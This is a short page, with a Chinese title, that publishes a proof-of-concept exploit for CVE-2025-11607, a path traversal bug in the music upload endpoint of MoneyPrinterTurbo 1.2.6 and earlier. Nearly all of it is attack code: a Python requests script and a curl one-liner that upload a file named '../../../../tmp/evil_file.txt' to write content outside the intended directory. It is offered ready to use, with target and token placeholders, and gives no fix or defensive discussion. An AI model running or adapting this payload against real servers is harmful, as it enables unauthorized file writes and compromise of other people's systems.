CVE-2025-11607：MoneyPrinterTurbo路径遍历漏洞

# CVE-2025-11607 - MoneyPrinterTurbo Path Traversal PoC # Vulnerability: Path Traversal in upload_music function (app/controllers/v1/music.py) # Affected: MoneyPrinterTurbo <= 1.2.6 import requests # Target configuration TARGET_URL = "http://target:8080" AUTH_TOKEN = "your_low_privilege_token_here" # Step 1: Authenticate and obtain session (if needed) session = requests.Session() # Step 2: Prepare the malicious file upload with path traversal payload # The File parameter is manipulated to traverse directories malicious_filename = "../../../../tmp/evil_file.txt" # Craft the multipart form data with traversal filename files = { "file": (malicious_filename, b"malicious content payload", "audio/mpeg") } # Step 3: Send the request to the vulnerable upload_music endpoint headers = { "Authorization": f"Bearer {AUTH_TOKEN}", } upload_url = f"{TARGET_URL}/api/v1/music/upload" response = session.post(upload_url, files=files, headers=headers) # Step 4: Check the response if response.status_code == 200: print(f"[+] Path traversal successful! File written to: {malicious_filename}") print(f"[+] Response: {response.text}") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative: Using curl command # curl -X POST "http://target:8080/api/v1/music/upload" \ # -H "Authorization: Bearer YOUR_TOKEN" \ # -F "file=@local_file.mp3;filename=../../../../tmp/evil_file.txt"